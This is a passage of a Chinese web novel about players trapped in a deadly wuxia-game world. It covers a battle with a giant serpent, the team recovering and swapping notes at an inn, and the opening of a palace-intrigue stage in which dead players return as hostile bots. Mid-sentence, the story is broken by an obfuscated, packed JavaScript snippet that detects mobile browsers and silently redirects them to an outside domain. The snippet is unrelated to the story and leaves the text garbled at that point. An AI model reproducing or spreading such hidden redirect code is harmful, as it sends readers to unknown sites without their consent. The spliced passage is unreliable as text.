陆厌俯下身,以一个看起来很危险的姿势抓到了刀柄,将刀拔了出来。这层茧大概是没有什么知觉的,对于他的动作,碧骨王蛇一无所察。 殷炽看了眼脚下,脚下是一片漆黑的深渊。 他们俩现在几乎是毫无保障地站在碧骨王蛇身上,等会儿打起来了,一旦被摔下去,或者撞在石柱、山崖上,必然是个粉身碎骨的结局。 作为近战,在这样黑暗的恶劣环境中,他们起到的不仅是突击的作用,更重要的,其实是定位。只有他们在这里,远程队友们才能看清楚具体的位置,打出有效的伤害。 陆厌回头,将燃烧中的犀牛角递给他。 殷炽伸手去接,脚下忽然一颤,是碧骨王蛇晃动头颅,猛地撞上了山壁,尘土飞溅中剑光如雨,琴声泠泠作响。 没有时间了,陆厌握紧刀柄,轻轻呼出一口气,阴阳往极在他手里忽然迸发出烈日一般的辉光! 赤日赫炎镇暗魔,三界常明离怨嗔! 周围的空气像被灼烧一般微微扭曲了起来,弯刀刀刃如火,瞬间撕破了那层乳白色的茧,刺进了伤口之中,黑红如胶的蛇血顿时从其中飞溅而出! 碧骨王蛇骤然吃痛,这才发觉大事不好,暴怒之下回过头欲咬,但碍于伤口位置难以扭转,果然疯狂地摇动起了身子! 殷炽和陆厌早有准备,殷炽将链刃插入蛇鳞稳住身体,而陆厌则不停将阴阳往极压入碧骨王蛇的伤口之中,整个半身都已经被蛇血浸透,任凭碧骨王蛇如何甩动身体,就是无法甩掉他们。 一片混乱中,犀照的微光闪动,映入师襄的眼中。 先前碧骨王蛇大闹一通,乱石如雹纷纷砸下,要说毫发无伤,那是不可能的。她擦了擦颊边的血,抱紧琴,寒声道:“走!” 还有些黑棺吊在崖边,摇摇欲坠,三人就踩着这些黑棺,逐渐拉近和碧骨王蛇的距离。 殷炽手中的犀牛角快要燃尽了,但也烧出一大片明净的区域来。那实在是一副非常诡异的画面,好像黑色幕布被灼出了一个洞,从中可以窥见发狂的巨蟒和它身上巨大的伤口,甚至还有他们队友的模糊身影,扭曲又奇异,有些像小时候见过的西洋镜。 犀牛角燃到尽头,殷炽松开手,它化作一堆白灰,转眼就被吹走了。半明半暗间,那些细小的黑色颗粒随着巨蛇的动作被搅带着在空气中流动,像无数黑色长河,伴随着飞扬的尘土和激烈的气流,带来一阵阵窒息感。 他看到有紫光在碧骨王蛇腹部周围的伤口一闪而过,正是祝灵正的卦象,知道队友看到了,这才放下心来,于是便拔出链刃,借巨蛇翻转身躯之势,纵身扑向蛇腹。 冲云链出手,稳准狠地钉进那道伤口之中,他整个人在半空翻转一圈,一式金戈回澜,也攀在了伤口处。 那碧骨王蛇察觉危险接近,更加狂躁,不住地将身体朝石柱撞去,那根石柱仿佛有通天之高,此刻竟然也被它撞得微微晃动,不断有石屑落下,掉得殷炽满头满肩都成了一片灰白。 在翻天覆地般的摇动中,他翻身跃起,链刃脱出伤口,变刃为鞭,对准蛇腹重重劈下,乱天狼势如狂风骤雨,那本已溃烂的伤口,顿时再度扩大! 打完这个滞空的乱天狼,殷炽脚下再无支点,眼看着就要向下坠去,陆厌松开双刀纵身扑向还未完全收回的隐雷鞭,一把扯住鞭梢,单臂青筋暴起,用力将殷炽甩回了碧骨王蛇背上,而殷炽甫一落地便紧紧扣死碧骨王蛇突起的鳞甲,收回隐雷鞭,又把陆厌拉了回来。 他们在半空中完成的这个接力,可谓是大胆至极,要是稍微差那么一分一秒,后果都不堪设想,但效果也非常明显。就在他们翻上蛇背的下一秒,琴音伴着漫天飞剑如矢射落,直冲碧骨王蛇那已经在汩汩流血的伤口! 这一下伤害显然是给足了,宛如捅破了天一样,碧骨王蛇猛地一扭身,刚扒稳的殷炽和陆厌竟然双双被甩得在蛇背上摔出了数尺,要不是反应快,差点就要从平滑的鳞甲上滑脱。他们还正头晕眼花时,碧骨王蛇已经开始疯狂地撞击山体,似乎这样能减轻一些伤口的疼痛一般,就听见山间乱石轰轰、不断垮塌,真让它撞出了天塌地裂的感觉。 在这种时候,蛇背上反而成了相对安全的地方。陆厌在劈头盖脸的砂石雨中勉力直起身子,就看见先前犀照烧出的那片光照正常的区域已经被碧骨王蛇扰乱成灰蒙蒙的一片,在黑与灰的缝隙中,还能隐约看见其他队友。 那三人离碧骨王蛇其实并不算远,几乎可以说是只在咫尺之间,就在从悬崖上垂吊下来的黑棺上。此时那黑棺被碧骨王蛇撞击山崖时带出的气流吹得摇摇欲坠,看起来随时都有可能坠落深渊。 万幸的是,他们集火的这道伤口确实就是碧骨王蛇的软肋,在持续的大量伤害灌注之下,它已经完全没有心情去找人了,只是应激一般地扭曲蜷缩,否则它只需要微微一偏脑袋,换个方向,就能发现其他人。 “我去前面!”陆厌吐出一口沙,对殷炽喊道,拔出阴阳往极,就朝碧骨王蛇的头颅处前进。这条蛇时而伏倒时而翻转,有时还直立起半个身子,陆厌用阴阳往极插进它竖起的鳞甲缝里,徒手扒住甲片,快速地向上爬去。越接近蛇头,崩塌飞溅的碎岩块就越多,他单手护住头脸,另一只手抓住碧骨王蛇脑后突起的刺状角鳞,好不容易稳住身形,感觉手臂已经被砸得有些失去了知觉。 那巨大的猩红竖瞳近在咫尺了,陆厌舔了舔嘴唇,从背后拔出阴阳往极。 他的 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净世破魔击结束之后,陆厌几乎没什么再度施展技能的力气了,此刻也只是拄着阴阳往极,勉强保证自己不被甩出去,即使面前的山崖已经近在咫尺,也来不及躲避了。 轰! 骨肉摧折的声音在耳边响起,无数山岩砸了下来,但统统被淡淡的蓝光阻隔在外。 及时空投了镇山河的卫山河踉跄了一下,一把抓住陆厌的兜帽,稳住身形。 “勒、勒得慌。”陆厌咳了两声,道。 在山壁上撞了那么一下之后,连碧骨王蛇头上的角刺都折断了,而它的身形也开始慢慢僵硬起来。他们还在蛇头,就感觉脚底下这条蛇的身躯一阵颤抖,往后看去,却是殷炽、师襄与祝灵正趁此机会得以及时集火,那蛇腹的伤口已经逐渐扩大到要将蛇身撕裂成两半的程度了,从那片伤口处涌出的半凝固的蛇血大块大块地砸向地面,诡异又渗人。 不过几秒,碧骨王蛇便垂下头,跌落在山道上,没了动静,而盘绕在柱子上的那部分身躯,也缓缓地顺着石柱落了下去。 都这样了,不会还能活吧? 这念头仅仅是在卫山河脑海中一闪而过,就忽然感觉脚下的蛇身开始剧烈抽搐起来。 但很快,他猛地意识到,不是蛇身在抽动,而是面前的这一小片山崖在颤动。 要塌了! 镇山河刚刚交过了,他一把扶起陆厌,两个人踩在蛇身上,一脚深一脚浅疯狂地向外奔去,就听到身后山崩的声音如同炸雷滚滚,回响在整个悬棺裂谷之中,听来令人胆颤心寒。 师襄等人就在前面接应,看到他们跑过来,还没来得及说话,身边忽然就是一声巨响,几人纷纷闪开。定睛一看,原来是悬挂在裂谷最顶端的那些黑棺,此刻随着山崖崩塌纷纷砸落,有些砸在碧骨王蛇身上,有些则坠入了深渊。 这些黑棺内部基本都是空的,砸下来便已经跟炮弹似的,而那些大块的山岩要是砸下来,哪还有命在?好在碧骨王蛇的身体像座桥一样横在山道与石柱之间,几人顺着蛇躯刚跑了几步,就听见身后噼里啪啦一阵爆响,是那些较小的砂石岩块先落了下来。 祝灵正回头看了一眼,饶是那碧骨王蛇的鳞甲坚硬无匹,也被这些小石块砸得一片血肉模糊。他刚要转过头,余光里忽然红色一闪,祝灵正愣了一下,放缓脚步仔细看去,这红色,却是碧骨王蛇那只没被刺瞎的眼睛。 它的头颅搭在了山道上,这只独眼的方向恰好对着他们,似乎有些怨毒地看着他们跑远的身影。 紧接着,那细窄阴毒的竖瞳极快速地动了一下。 “当心——”祝灵正脱口而出,话还没说完,脚下一晃,那碧骨王蛇竟然还没死透,大概它也是恨极了这支小队,竟然用最后的力量,带着身躯上的五人,一头扎进了土石崩塌的滚滚灰尘之中! 这片灰尘里尽是大大小小的碎石沙土,一进去,祝灵正便双眼一痛,眼泪不受控制地涌了出来,身上被砸到的地方也像被箭矢射穿了一样,痛麻难忍。他好不容易睁开眼睛,便看到面前碧骨王蛇的头颅恰好被一块坠下的巨石砸中,血泥飞溅,那巨大的脑袋不过顷刻之间就不复存在,这下是死得不能再死了。 碧骨王蛇死了,众人的情况却并不乐观,如果不能赶紧跑出崩塌的范围,那碧骨王蛇的下场就是他们的前车之鉴。一片混乱之中,身边有烈烈风声响起,却是殷炽抢身到最前面,手中链刃甩出,以斩无常为众人开路。 眼看就要跑出这片可怖的阴影,只见一块足球大小的岩体不偏不倚,正正地砸在了碧骨王蛇腹部那条长长的裂伤上,这条巨蛇顿时便被一分为二,几人脚下一空,就在骤雨般砸落的石块中顺着蛇躯滚落深渊! 不停的下坠中,祝灵正只感觉全身的骨头都要折断了一样,身上也被刮出无数血痕。他想抓住什么来缓解一下下坠的冲势,一转眼,赫然发现有块巨岩正朝师襄砸下来,想也没想,抬手就是一式鸿蒙天禁! 紧接着,他的头也撞到了什么,眼前一黑,就失去了意识。 祝灵正睁开眼,感觉自己做了一个梦,在梦里,他看到了好多师襄。 他刚想继续睡,忽然想起来,师襄是个莫问。 “醒了?”其中一个师襄对他说。 原来不是梦。 意识回笼的瞬间,他的脑袋开始剧烈地疼痛起来,那是一种单纯的来自于外部的伤痛,祝灵正抬手摸了摸,摸到很厚一圈绷带。 他坐起来,发现自己不止头在疼,浑身上下也都很疼,但是大多数伤口已经被处理好了。 “先别动,你的左肩可能有点错位。”师襄看他坐起来,便道,“……不过倒是比那两个人运气好一点。” 祝灵正有点迷茫地转头,发现自己在唐催寒的那个篝火小营地,队友或坐或躺,都在身边,一个也不少,师襄的影子在照看着他们。 陆厌和卫山河还没醒,坐着的那个是殷炽,手臂被三角包扎法简易地固定了,吊在脖子上,而师襄口中的另一个倒霉蛋大概是陆厌,他的腿被两根木楔子夹住了,一看就伤得不轻。 祝灵正定睛一看,发现有一个影子在把他们身上的绷带依次打成蝴蝶结的样子。 据师襄说,她从鸿蒙天禁里出来的时候,山崖已经塌得差不多了,碧骨王蛇那半截尸体顺着崩塌的土坡滑下来,意外地帮他们挡了一下,但就算这样,大家还是被砂石灰土埋得差不多了。 师襄点了刻梦这个奇穴,一口气放了一堆影子,挖了半天,才把他们都刨出来。 “开发了一下影子的新用法。”她轻描淡写地宣布了一个大消息。 后面的事情就简单很多了,师襄替众人摸了掉落,又在废墟堆里找到了几根浑圆的木楔,做了个简易的小板车,CD一好便放影子,和影子一起,总算是把他们费劲地拉回了营地。 值得一提的是,她走上栈道时,听到身后有细微的骚动声,回头看去,竟然是先前那些侥幸逃脱的野猪们去而复返。这些野猪没有注意到站在栈道上的师襄,而是径直奔着碧骨王蛇的两截残躯去了,猪脸往血肉里一埋,便大吃大喝起来。 昔日的裂谷霸主,就这么成了它们饱食的一顿美餐,听起来还有些令人唏嘘。 祝灵正出神地想:那确实能吃很久了。 这时候,他才注意到,这个小营地同样塌了一部分,其中就包括先前唐催寒给他们指过的、蒋玉凤会被刷新出来的地点。说到蒋玉凤,她同样也在这里,只是站在了悬崖的边上,有一种被迫挪位置的感觉,虽然笑容还是一样的温和平静,但看上去似乎并不开心。 “等他们醒了,咱们就回客栈。”师襄说。 她看了一眼身上的黄符,这张符在激烈的战斗中早已破破烂烂,但还维持着它的功用。 “那个唐催寒,真的一次也没有回来过。”她叹了口气,“本来还想说声谢谢。” 这个老玩家虽然有几分古怪,但确实帮了他们很多。 “也许他已经离开了。” 卫山河道。他虽然醒了,但是并没有立刻起身,而是有些出神地望着天空:“原来悬棺裂谷的天是蓝的。” 听到他这么说,祝灵正也抬头望去,果然,越过黑暗,可以隐约看见头顶有一片高而渺远的青空。 他有点愣怔地看着那淡淡的色彩。 悬棺裂谷之外的世界,似乎正在迎接一个明净的春天。 假如没有天一教,那碧骨王蛇,此刻会不会刚从漫长的冬眠醒过来呢?逃进来的那些梓匠,大概也避过了风头,可以尝试着踏上回家的路了吧。 不多时,陆厌也醒了。 他环顾一圈,喃喃道:“好多人啊。” 许多影子一起转头看他,脸上是如出一辙的无语,陆厌看着,打了个哈欠,又躺下了。 卫山河上去把他架起来:“别睡了,回客栈再睡。” “这次回去,接下来要面对的就是第五天了。” 师襄收了影子,正色道。 ——第五天,“起、承、转、合”之中的“转”,浪客行的规则将会改变。他们要做的,不再是存活24小时,而是像游戏里那样,完成具体的任务。 同样,第五天,他们还要面对着由人机带来的PVP模式。 “好吧,那就看看第五天到底是什么样子。”陆厌笑道。 他被卫山河和祝灵正一左一右地架了起来,走向蒋玉凤,甚至还有闲心腾出两只手,在空中响亮地拍了一下。 “好莱坞队,第四天,杀青快乐!” 《第四天·悬棺裂谷》 完 28. 第四天·奖励关卡(二十八) 哗啦—— 走进客栈的前一秒,陆厌回过头。 围绕着有间客栈的那条长河似乎是涨潮了,河水冲上河岸,发出格外清晰的沙沙声,河滩边的芦苇轻轻摇晃着,看起来静谧而安详。 “看什么呢?”扶着他的卫山河注意到了,便问。 他们走进了客栈大门,身上的伤病正在飞速地恢复着,陆厌示意卫山河和祝灵正松开手让他自己走:“河流也会涨潮么?” “会吧。”卫山河想了想,道,“理论上来讲是会的,但实际上江河涨潮的幅度非常小,肉眼几乎观测不到。” 陆厌若有所思地点了点头。说起来,有间客栈这张地图,他们并没有怎么探索过,基本上回来了就是待在客栈之中,很少出去。再加上赵云睿也暗示过,“夜深雾重”时不要出客栈,有可能会遭遇危险,所以玩家们总会潜意识里忽视掉这张图,只把客栈作为一个单纯的休憩地。 但实际上,有间客栈也是浪客行的一关。 有机会的话,还是要去看看客栈外面是个什么情况,陆厌这么想着,看着队友们在赵云睿处点卯完毕,回到大堂。 师襄拉开桌边的长凳坐下。她环顾一周,客栈里基本没有什么变化,玩家们还是那样,乍一看感觉数量很多,实际上根本就看不清楚。不过自从在唐催寒那里知道了死亡的玩家会作为人机继续参加游戏的这个消息,她心里就有种很古怪的感觉,也不知道这些玩家里,会不会已经有人变成了人机。 她收回目光,按照惯例,开始复盘他们队伍在第四天中的战斗表现。 不过平心而论,其实需要复盘的内容并不多。虽然他们进入浪客行的时间放到外界来说,实在是算不上长,但人在面对生死危机时的成长速度是十分惊人的,即使正式通关的时间只有四天,但他们在这四天中培养出来的战斗意识和团队默契,已经非常可观了,而无论是在与巨型白毛野猪还是碧骨王蛇的战斗里,他们都已经把这种战斗意识和团队默契发挥到了极致。 师襄更加在意的,其实是老玩家和新玩家之间的实力差别。 ——他们五个人对上已经受伤的碧骨王蛇,尚且打得艰难,唐催寒可是在“解决”了一队玩家的情况下又一个人重伤了碧骨王蛇,这差别未免也太大了。 “但是……”殷炽说,“田螺会飞。” “这倒也是,能上天,在那种地形下确实占尽优势。”陆厌笑道,“不是我说,他们唐门又能飞、又能隐身,还是远程,田螺还能设机关打阵地战,比近战短腿外功来说真是赢太多了。” 刚走进客栈的祁云纵作为“近战短腿外功”的标准代表,打了个巨大无比的喷嚏。 “但我们前四天面对的都是PVE玩法。”师襄道,“按照唐催寒说的,第五天就要涉及到PVP内容了,远程虽然有天然优势,但被近战近身的话,就不好说了。说句不好听的,有些内功在PVP里,那就是个木桩,尤其是在面对高控制和ACT外功职业时。” 坐在他们隔壁桌的尹有攸也打了个喷嚏。 “我觉得还有一点……”祝灵正轻声道,“如果玩家们之间彼此已经有了感情,这之后有人再变成人机,那不得不战斗的时候,恐怕心理负担也会很重。” 他说的话,也正是几个人都在想的,师襄轻轻叹了口气。 “这么想来,像唐催寒那样,似乎也不错了。”卫山河便道,“看他的说法,似乎他们同期的玩家关系都不怎么好。” 孟秋正背着手,像个小大人似的,在各个队伍之间转来转去,似乎在清点数量,转悠到他们桌旁时恰好听见了这么一句,有点疑惑地凑过来。 “你们知道唐催寒呀。” 孟秋的话让五个人都一愣,便看她自顾自地点点头:“对哦,虽然在客栈见不到,但你们是有可能排到他的。” 师襄便问:“你认识他吗?” “那当然啰!”孟秋一副骄傲的样子,摇头晃脑道,“你们一看就跟他不熟。他们那一批的玩家和你们这一批可不一样,那几个队伍之间的关系都可好啦!” “……” 这个答案倒是几人都没想到的,师襄还欲再问,孟秋却不肯再多说了,只是眨了眨眼睛,从他们桌旁跑开了,径直站到大堂中间。 “好,大家都到齐啦!”她大声说,“恭喜大家度过了第四天!” 她熟练地开始“演讲”,话中内容和以往都差不多,唯一的变化,也不过是这次的休息时间延长到了四天而已。只是说完之后,她却没有立刻让众人去休息,而是环抱着手,似乎在等待什么。 片刻后,赵云睿竟然缓缓地走了出来。 老板娘一出现,就代表着有大事发生,玩家们不约而同地坐直了身体,注视着她,便见赵云睿微微一笑,温声开口道: “各位侠士已是第四次来到客栈了。四天以来,一路艰辛,殊为不易,想必大家也或多或少对这里有了初步的了解。不过,自第五天开始,侠士们便要在具体故事中完成既定的目标,这一点,与各位此前的经历都不甚相同,还需注意。此外,也需留心各路侠士之间的相争,昔日友人,今朝或可为敌。” 她意味深长地笑道:“道路阻且长,愿各位如顺水行舟,无往而不利。” 说完这句话,赵云睿便离开了。 规则的变更,让客栈大堂里有了少许议论的声音,有些玩家起身离开了,也有些人根本就坐着没动,表情很严肃。 在师襄他们听来,赵云睿那句“昔日友人,今朝或可为敌”,就是在暗示人机的存在,浪客行一贯这样,把重要信息藏在细枝末节之处,但是其他队伍也许还不知道。 “我们去和其他队伍共享一下情报吧。”师襄想了想,便对队友道。 涉及到第五天的安危,这是至关重要的大事,大家都点头表示同意,然后便僵持在了桌边。 “……要不然,还是用写的吧。”祝灵正从小队背包里取出纸笔,“然后从每一间屋子的门缝中塞进去。” 卫山河表示同意:“有的队伍已经走了,这四天很有可能完全就不会再碰面了,还是一间屋子一间屋子地去通知比较好。” 师襄沉默片刻:“……好吧。” 赵云睿刚刚公布了新规则,对于不知情的玩家来说,听到了这样的PVP规则,肯定会对其他队伍产生警惕。再者,大家都还没经历过第五天,他们也没办法证明自己说的就是对的,贸然前去交流,很可能会产生反作用,这么一想,塞纸条还算是个好选择了。 于是,当天夜里,陆厌便轻手轻脚地将二楼这条走廊走了个遍。 有些房间亮着灯,有些则一片黑暗,很难说里面是不是有玩家存在,浪客行似乎不遗余力地在阻止他们对玩家总数形成具体的概念,也不知道这个机制有什么作用。 他塞完最后一张纸条,拍拍手往回走,在心里直犯嘀咕。 为什么殷炽的骰子永远扔不出他自己?这小子运气也太好了吧。 “他走了。” 一墙之隔的室内,尹有攸说。 那张纸条在所有人手里传过一遍,最后被曲小蕨放回桌子上:“小付老师,你之前猜对了耶,被淘汰的玩家真的会变成人机。” 付井仪微微颔首。 这是个喜忧参半的消息。好处是,玩家们彼此之间大概不用再争斗和相互提防了;坏处则是,即使是人机,那也是昔日玩家的复制体,如果打起来,要承受的心理压力,比起真人PVP来说,也轻不到哪里去。 行守垂下头,叹了口气。 “那一队……应该也有心理准备了吧。” 大家都知道他说的是哪一队,曲小蕨也跟着师父长长地叹了口气。 这张纸条对于大多数队伍来说都是一个十分珍贵的助益,但对于另一部分队伍来说,则是一种残忍的告知。 她没见过兰瑾,但从李千驰和叶九溪的描述中,也知道,那是个很好很好的人。 唐逐星倚在窗边,看着外面的夜色。今夜没有起雾,明月高悬,是个难得清朗的夜晚,远处水面银光粼粼,偶尔被晚风掠起波澜。 同样的夜色下,有人喜,有人悲。 有人在酣睡。 次日一早,柳七刀是生生被扯着耳朵从梦境中拉出来的。 他一睁眼,就看到龙葵站在面前,表情很是严肃。 这么严肃的表情让柳七刀心里顿时一震,一个鲤鱼打挺从床上跳起来,反手就把床头的新亭侯抄在了手里,下床的时候还差点被拖在地上的被子绊一个趔趄:“怎么了?怎么了?” 龙葵看他醒了,耸耸肩,什么话也没说,转身去叫祁云纵。 “咋了啊?”好像不是什么紧迫的危险,柳七刀放下新亭侯,丈二和尚摸不着头脑,转眼一看,仇非正坐在桌前,手里拿着什么。 “昨晚睡得挺香吧。”仇非对他说。 “是挺香的……呃。”柳七刀挠头,余光看见祁云纵慢吞吞爬起来,心说快来和我一起挨训啊,虽然不知道为什么但是感觉就是要挨训了,“非姐,你在看什么啊。” 仇非直接把手里的东西递给他,柳七刀接过来一看,是一张写满了字的纸。 他越看越惊讶,上面写的,竟然是浪客行的一些具体规则,有的很直白,有的则拐弯抹角,但很清晰,大体能猜出意思来。 “昨晚有人往房间里塞了这个。”仇非等他看完,便道,“明明住在外间,竟然没察觉到,你们的警惕性呢?” “……”柳七刀顾左右而言他,“啊,那个,祁云纵,快过来,非姐有话跟你说。” 祁云纵披上外袍走过来:“怎么了?” 柳七刀给他纸条,祁云纵看完,看了一眼仇非的脸色,默默立正站好,开始不动声色地寻找谢不若的身影。 谢不若还在睡。 龙葵叫了半天,怎么也叫不醒他,气得把他连被子带人掀到地上,结果从被子里面先滚出一只炸毛鹦鹉来。鹦鹉扑扇着翅膀,本来要发作,看清掀被子的人是龙葵,二话不说回头就叨了谢不若一口:“起床!起床!” ——从第三天回来后,谢不若就没再把他的鹦鹉往羽房送过,每次都是偷偷揣在怀里偷渡回房间的,偶尔碰见方叱羽和雕兄在羽房门口依依惜别,他还会悄悄感慨一番。 柳七刀和祁云纵二话不说,过去把迷迷瞪瞪的谢不若从地上拽起来,拖到仇非面前:“请。” 他们俩如此耍宝,搞得仇非一个没绷住,差点笑出来。 她摆了摆手:“算了,昨天本来也是刚从第四天里回来,睡得沉一些也正常。这上面的内容,你们看完了有什么想法么?” 谢不若这会儿才刚刚清醒,正拿着祁云纵塞给他的纸条在看,边看边嘟囔:“我觉得这纸条很可信啊……毕竟编都编不出来这么靠谱的。” “先假设这上面说的内容都是真的吧。”龙葵也走过来,“人机PVP,有点恐怖啊。” “哪里恐怖了?”祁云纵道,“你没打过JJC里的人机局吗?就乐山大佛窟那个图。” 龙葵无奈:“你想得也太简单了吧。这人机可是曾经的玩家,先不提感情问题,那纸条上都说要我们注意不要暴露身份了,说明人机和玩家其实是很难分辨出来的,一不小心,可能就要中招了。” “不难分辨吧。”柳七刀开始回忆,“我记得游戏里的人机都是骑着忽雷驳,系统捏脸,装分不大、段位差不多……” 他转头向祁云纵寻求认同:“对不?” “我倒是没注意过他们长什么样子。”祁云纵陷入回忆,“不过一般来说解控秒交走位鬼畜的就是人机,比如花间摸一下就太阴,田螺落地就隐身,而且他们的奇穴一直点那一套,从来不换的。” “……不是,难道人机还会骑着忽雷驳冲到你脸上告诉你他们是人机吗?”龙葵怒道,“都说了!那是被淘汰的玩家!能不能再深入思考一点啊!” 谢不若看完了,把纸条又还给仇非,赞同道:“确实啊,这里又没有系统脸,人机总不能长着一副大众脸给你判断吧。” “国字脸也有可能呢。”柳七刀说。 仇非叹了口气,感到有些头痛:“我觉得你们的理解好像出现了问题。举个例子,如果谢不若——” 谢不若疯狂摇头:“不不不不,不吉利。” “……行,如果有个刀宗被淘汰了,那么他就会变成人机。这个过程,我觉得有两种可能:第一,这个刀宗玩家宣告死亡,但是他依然存在于游戏中,只是意识已经变成了人机的意识;第二,这个刀宗玩家彻底不存在了,而游戏中,多了一个与他完全一致、甚至连拥有的技能和战斗意识都完美复刻过来的人机角色。”仇非道,“你们是不是以为,玩家变成人机,就是指他被淘汰之后随便再扔一个同门派角色进来呢。” 听到三人纷纷发出“原来如此”的声音,龙葵略带同情地看了眼仇非:太惨了,四天过去,非姐已经被迫学会笨蛋的思考模式了。写这张纸条的人一定也没想到,这句话还能被曲解成这个样子…… ——我队智商有一石,非姐独占八斗,我得一斗,柳七刀谢不若祁云纵共分一斗,就这仨人凑在一起,不倒欠已经是谢天谢地了。 “我觉得大概会是第二种情况吧。”她想了想,便道,“那纸条上不是注明了死亡就是死亡嘛。” “这么恶毒啊。”谢不若反应过来了,皱眉道,“那不是要和以前的队友打吗?我靠,人没了本来就已经很难过了,还得动手?” “这只是困难之一。”仇非冷冷道,“可以确定的是,人机有一定的智商,甚至很有可能会继承玩家的记忆,不然为什么它还要特地提一句,玩家们要注意保密自己的身份?” 杀人诛心,莫过于此。 “反正这些情报大家现在也都知道了,该如何应对第五天,心里大概都有数了。”仇非放下纸条,“既然涉及了PVP,那么第五天,一定会有很多队伍被分配到同一张图,到时候是什么情况,还真不好说。” 他们队一路走来虽然惊险,但也每次都全胳膊全腿地回来了。不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691176|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道那些减员的队伍,又该怎么面对这种残酷的事实。 “等等……等等!”柳七刀一愣,忽然大声说,“我知道这纸条是谁放的了!” 他一把拉住谢不若:“你记得我们之前去吃饭的时候发生了什么吗?” 谢不若迷惑:“咱们每天都吃饭。” “是从荒雪路刚回来的时候!”柳七刀记忆回笼,越想越笃定,“你记得吗?咱们深夜饿得受不了了就去吃饭,看到气纯他们那个队伍的衍天也在,他走的时候跟咱们提到过这个!” 他这么一说,谢不若就想起来了,那一幕确实令人印象深刻:“啊?我还以为那是死亡威胁来着……” 龙葵好奇:“他说什么了?” 柳七刀老实转述:“如果不想和我们做敌人,那么就在第四天好好活着。” ——无论怎么听都很像威胁,看来无论哪个队,都多少是有点卧龙凤雏在里面的。 接下来的四天休息时间里,客栈中就笼罩着一股古怪的氛围。大概每个队伍都收到了纸条,下楼吃饭时,玩家们暗地里互相打量已经成了常态。但是看归看,单凭眼睛看确实是看不出谁是人、谁是忽雷驳侠,倒是在第四天的清晨,每个队伍的房门中,又被悄悄塞进了一张纸条。 这次的纸条和上一次的字迹并不相同,显然不是出自一人之手,内容也简单许多,只有一行字。 桃源花毒明霸刀队兰瑾阿攸伏明柳秋瑟云流岚不是玩家 曲小蕨是在他们队准备出发时看到它的。她捡起那张纸条,看到熟悉的字眼,轻轻“啊”了一声。 “……应该是李千驰他们那一队放的。”她把纸条给付井仪,心里有点难过,“柳秋瑟,就是兰瑾那个霸刀队友吧。” 明明刚从第二天回来时,叶九溪还在拜托他们队打听兰瑾的消息,不知道他们是怎么打听到其他人的名字、怎么确认了他们已经不在的事实,又是怀着怎样的心情,一次次写下这行字,再将这个消息,告诉每一支队伍。 几人记完纸条上的名字,便下楼,往蒋玉凤那里去了。 出乎意料的是,还没走到柜台前,便听见了翅膀呼扇的声音。曲小蕨探头看去,站在那里准备进入第五天地图的,不正是蓬莱什么什么记不住队么。 想到那张纸条,她不觉就放慢了脚步。 还是亓秀秀先看到了他们。她微微一笑,笑容很清浅:“早上好。” “早上好,秀秀姐。”曲小蕨蹭过去,拉住她的手,想说什么,又不知道怎么开口。她偷眼看了看其他人,微微放下心来,起码精神看起来还不错。 他们队知道放纸条的是记不住队,记不住队也知道,他们知道。 似乎是看出了曲小蕨的局促,叶九溪递给她一块用油纸包着的麻糖,朝她笑了笑。 “没事的。”他说。 也就是在这个时候,蒋玉凤确认过了人数,微笑着朝为首的裴洛川点点头。 她这次的开场白格外简短:“那么,接下来为你们开启第五天的故事。欢迎来到华清宫。” 蒋玉凤话语刚落,曲小蕨便眼前一花,再定神细看,那整支队伍便都不见了,只有她手里还握着那块麻糖。 “我们也准备好了。”行守双手合十,对蒋玉凤道。 蒋玉凤含笑注视着他们,视线逐一在几个人脸上扫过,颔首道:“那么,接下来为你们开启第五天的故事。” 被扔进新地图时那种特有的晕眩感又来了,曲小蕨正甩着脑袋,却听到蒋玉凤说:“欢迎来到……华清宫。” 也是华清宫? 她一愣,眼前的场景却已经变换完了,面前哪还有什么客栈,而是不断晃动的帘子,身下也传来颠簸的感觉。 曲小蕨定睛一看,发现自己竟然身在一架马车之中,这架马车似乎严重超载了,她被挤在人群中间,身边都是跟她差不多大的小姑娘,而队友却不知道去了哪里。 这些小姑娘大概有五六个,都不说话,垂着头,穿着打扮近似于宫女丫鬟,曲小蕨低头一看,就连她自己身上穿着的也不是五毒校服了,根本就是跟其他人一模一样的宫装! 她慌得一批,伸手一摸腰间,太上忘情也不翼而飞,反而多了块令牌。 这块令牌很是怪异,竟然是用纸折出来的,一看就不是这宫那宫里该有的东西。曲小蕨摘下令牌拿在手里,还在奇怪,忽然就感觉那纸上微微发烫,片刻后,竟然缓缓浮现出一行行字迹来。 这把曲小蕨吓了一跳,动作太大,还撞到了旁边的小姑娘。 “怎么了,小蕨?”那小姑娘投来疑惑的目光,却好像完全看不到她手中令牌似的,只露出了然的表情,悄声道,“别紧张,人家都说华清宫可大可气派了,马上就要到了!” 曲小蕨赶紧嗯嗯几声敷衍过去,低头专心看手上的令牌。 这令牌上面写着的,竟然是第五天的规则,甚至还有点儿贴心,用了很轻松就能看懂的白话文。 曲小蕨看完一遍,自己在心里进行总结,这些字大致就是说,第五天的玩家们,在华清宫这张图里,有三条必须要遵守的规则。 第一,玩家们在NPC面前的行为举止要符合自己被随机分配到的角色身份,简单来说,就是不能当众OOC,但只有玩家在场时则无所谓。如果违反了这条规则的话,就会直接死掉,但假如因剧情需要而死、或被NPC杀死,玩家则不会真正死亡,而是会重新被分配身份,再度回归。 ——当然,玩家的外形并不需要一定符合随机被分配的角色,必要时,NPC会适度眼瞎。而不能被NPC看到的东西,比如武器和一些其他道具,都已经在过图时被放进了小队背包,玩家可以随时取出。 第二,华清宫中,存在着许多敌对玩家,这里说的敌对“玩家”大概就是人机了。这些人机同样受到第一条规则的制约,它们会想方设法在NPC中找到真正的玩家,找到玩家之后,诱导玩家做出OOC行为,从而杀死玩家。 